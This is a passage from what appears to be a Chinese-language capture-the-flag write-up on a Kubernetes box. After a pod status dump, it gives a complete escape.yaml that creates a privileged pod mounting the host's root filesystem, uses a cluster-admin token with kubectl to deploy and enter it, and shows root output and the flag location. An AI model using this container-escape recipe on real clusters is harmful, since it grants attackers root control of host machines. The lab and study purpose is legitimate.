  - containerID: docker://860fceac2e0904f7eb90e03a996243cf54b5525abe57c3261d3d8ae86043ebea
    image: alpine:latest
    imageID: docker-pullable://alpine@sha256:bc41182d7ef5ffc53a40b044e725193bc10142a1243f395ee852a8d9730fc2ad
    lastState:
      terminated:
        containerID: docker://860fceac2e0904f7eb90e03a996243cf54b5525abe57c3261d3d8ae86043ebea
        exitCode: 0
        finishedAt: "2026-07-11T08:13:30Z"
        reason: Completed
        startedAt: "2026-07-11T08:13:30Z"
    name: alpine
    ready: false
    restartCount: 61
    started: false
    state:
      waiting:
        message: back-off 5m0s restarting failed container=alpine pod=backup-pod_kube-system(a7929b0e-58d5-428d-ae72-ee5330903ab8)
        reason: CrashLoopBackOff
  hostIP: 10.129.136.226
  phase: Running
  podIP: 10.42.0.64
  podIPs:
  - ip: 10.42.0.64
  qosClass: BestEffort
  startTime: "2022-08-29T09:32:41Z"

存在一个 backup-pod（kube-system 命名空间），状态为 CrashLoopBackOff，镜像为 localhost:5000/dev-alpine。该 Pod 本身无价值（反复 Crash），但可借鉴其配置部署新的特权容器。

容器逃逸与宿主机访问

利用 cluster-admin 权限创建一个特权 Pod，将宿主机根目录 / 挂载到容器内，实现容器逃逸。

escape.yaml：

apiVersion: v1
kind: Pod
metadata:
  name: escape-pod
  namespace: kube-system
spec:
  containers:
  - name: alpine
    image: localhost:5000/dev-alpine
    imagePullPolicy: IfNotPresent
    command: ["/bin/sh"]
    args: ["-c", "sleep infinity"]           # 保持运行
    volumeMounts:
    - mountPath: /host-root
      name: host-root
    securityContext:
      privileged: true                       # 提升权限（可选）
  volumes:
  - name: host-root
    hostPath:
      path: /                                # 挂载宿主机根目录
  hostNetwork: true                          # 使用宿主机网络（方便反向 shell，但此处不使用）
  automountServiceAccountToken: true         # 自动挂载 sa token（便于后续操作）

部署并进入特权容器：

# 拉取
kubectl --token="$ADMIN_TOKEN" --certificate-authority="$CA" --server="$SERVER" apply -f escape.yaml

pod/escape-pod created

# 验证
kubectl --token="$ADMIN_TOKEN" --certificate-authority="$CA" --server="$SERVER" get pod escape-pod -n kube-system
NAME         READY   STATUS    RESTARTS   AGE
escape-pod   1/1     Running   0          34s

# sh
kubectl --token="$ADMIN_TOKEN" --certificate-authority="$CA" --server="$SERVER" exec -it escape-pod -n kube-system -- /bin/sh

/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/ # ip a
1: lo:
    inet 127.0.0.1/8 scope host lo
2: ens160:
    inet 10.129.136.226/16 brd 10.129.255.255 scope global dynamic ens160

/ # find / -name "root.txt"
/host-root/root/root.txt

通过 /host-root 成功访问宿主机根文件系统，在 /root/root.txt 找到最终 flag。